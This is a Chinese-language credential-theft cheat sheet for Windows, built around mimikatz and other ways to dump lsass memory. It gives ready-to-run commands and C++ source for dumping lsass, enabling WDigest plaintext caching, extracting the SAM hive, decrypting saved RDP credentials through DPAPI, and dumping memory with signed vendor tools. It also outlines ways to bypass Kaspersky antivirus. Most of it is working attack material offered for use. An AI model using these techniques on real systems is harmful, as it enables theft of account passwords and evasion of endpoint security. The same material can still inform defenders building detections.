tips:

一:mimakatz 二:当mimakatz无法使用的时候,我们可以配合procdump+mimikatz 三:Win8.1 及 Server 2008 R2 系统后,不再将明文密码加载进内存,需修改注册表才能用mimikatz,原因是Windows Server 2008开始,微软默认禁用LM hash。 四:导出注册表到本地再用mimikatz提取(需要管理员) 五:Mimikatz从MSTSC保存凭据中获取密码 六: win2012 要获取明文密码,要先注销,或者锁屏,或者重启

1、普通的mimikatz

一:mimakatz
1、privilege::debug 提升权限到system权限
2、sekurlsa::logonpasswords 获取账户,密码 (win10 和 winserver 2012R2用不了,需要修改注册表,
并且重新启动电脑)

mimikatz.exe log privilege::Debug sekurlsa::logonpasswords exit

2、procdump+mimikatz

二:当mimakatz无法使用的时候,我们可以配合
1、 将procdump把lsass进程的内存文件导出本地
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2、执行完上面的命令后,会生成一个lass.dmp

image.png

3、sekurlsa::minidump lsass.dmp 导入lass.dmp来操作mimikatz

image.png

4、sekurlsa::logonpasswords 读取账户,密码

image.png

5、Win8.1 及 Server 2008 R2 系统后,不再将明文密码加载进内存,需修改注册表才能用mimikatz,原因是Windows Server 2008开始,微软默认禁用LM hash。

win2012R2 加载明文: reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 不加载明文: reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

6、导出注册表到本地再用mimikatz提取(需要管理员)
1、 reg save HKLM\SYSTEM SYS.HIV
2、 reg save HKLM\SAM SAM.HIV
3、mimikatz # lsadump::sam /sam:sam.hiv /system:sys.hiv

3、Mimikatz从MSTSC保存凭据中获取密码

需要关闭此选项

image.png

1、获取Master Key

DPAPI_SYSTEM 1、lsadump::secrets 获取DPAPI_SYSTEM 2、dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\8f793e62-5bd8-449d-974c-d7b76e548994 system:DPAPI_SYSTEM Dump Lsass 1、sekurlsa:dpapi(dpapi::cache获取缓存的MasterKey)

2、获取到MasterKey之后就可以解密了

mimikatz # dpapi::cred /in:C:\Users\Administrator.DESKTOPV4TBD10\AppData\Local\Microsoft\Credentials\8281A1D2A92506804BB4CB29FD5FA671 image.png

3、从上一步中获取了一个GuidMasterKey之后,我们还需要一个MasterKey才可进行解密
所以用 sekurlsa::dpapi 获取内存中的所有MasterKey

参考资料:
https://xz.aliyun.com/t/6508#toc-0

4、powershell导出lsass.exe使用mimikatz读取

powershell -c “rundll32 C:\windows\system32\comsvcs.dll, MiniDump 1316 C:\lsass.dmp full”
image.png
把lsass.dmp拖到本地然后使用mimikatz进行获取密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

5、SQLDumper导出lsass

tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100 导出mdmp文件

image.png
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full

这里我用的环境是受害机——win7
Mimikatz安装的主机——原装的Win10
在我的电脑上是失败的会提示报错,但是使用相同Dump文件,换一台同事win10就可以了
image.png

获取谷歌浏览器的密码
https://www.cnblogs.com/zpchcbd/p/11942502.html

6、mimikatz绕过注册表禁用,cmd禁用等功能

  1. #!bash
  2. privilege::debug
  3. misc::cmd
  4. misc::regedit
  5. misc::taskmgr

7 Avdump

Avdump.exe 是在 Avast HomeSecurity 产品套件一起提供的小工具。顾名思义,该实用程序将给定进程标识符的内存转储到用户指定的位置。我们可以通过它进行新的 dump 方式利用。
https://www.pconlife.com/viewfileinfo/avdump-exe/ 下载该程序。
mimikatz读取以及其他方式读取 - 图9
它自带 Avast 杀软公司白签名。
mimikatz读取以及其他方式读取 - 图10
需要在powershell环境下运行该程序,测试cmd环境下无法导出:

  1. .\AvDump.exe --pid 696 --exception_ptr 0 --dump_level 1 --thread_id 0--min_interval 0 --dump_file e:\tmp\last.dmp

再通过mimikatz获取密码。

  1. mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit


mimikatz读取以及其他方式读取 - 图11

8. SharpDump工具

Out-Minidump.ps1 脚本C#版本编译后的结果。
mimikatz读取以及其他方式读取 - 图12
把lsass.exe进程数据导出来
dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压
并使用本地的mimikatz进行读取。

  1. mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit"

mimikatz读取以及其他方式读取 - 图13

9、windows api导出Lsass.exe

  1. #include "stdafx.h"
  2. #include <windows.h>
  3. #include <DbgHelp.h>
  4. #include <iostream>
  5. #include <TlHelp32.h>
  6. using namespace std;
  7. int main() {
  8. DWORD lsassPID = 0;
  9. HANDLE lsassHandle = NULL;
  10. HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  11. HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  12. PROCESSENTRY32 processEntry = {};
  13. processEntry.dwSize = sizeof(PROCESSENTRY32);
  14. LPCWSTR processName = L"";
  15. if (Process32First(snapshot, &processEntry)) {
  16. while (_wcsicmp(processName, L"lsass.exe") != 0) {
  17. Process32Next(snapshot, &processEntry);
  18. processName = processEntry.szExeFile;
  19. lsassPID = processEntry.th32ProcessID;
  20. }
  21. wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
  22. }
  23. lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
  24. BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
  25. if (isDumped) {
  26. cout << "[+] lsass dumped successfully!" << endl;
  27. }
  28. return 0;
  29. }

10、bypass 卡巴斯基的思路

1、曲线救国策略,在能够添加用户的情况下,直接添加账户来对杀软进行退出
2、思路就是RPC加载 SPP来bypass dump lsass.exe
https://mp.weixin.qq.com/s/EjmOg81ruu6ZKykmQUbvBw
3、SSP加载mimilib.dll记录密码
4、Kill杀软
5、参考haya的技术笔记,可以通过几种方式来提取
1)使用VSSadmin,Shadowcopy来对 SAM文件进行提取

  1. vssadmin create shadow /for=C:
  2. wmic shadowcopy call create Volume='C:\'
  3. powershell.exe -Command (gwmi -list
  4. win32_shadowcopy).Create('C:\','ClientAccessible')
  5. VSSadmin list shadows

2)REG 注册表导出SAM,这个比较常规
3)invoke-ninjaCopy,收录到了 PowerSploit,需要做免杀处理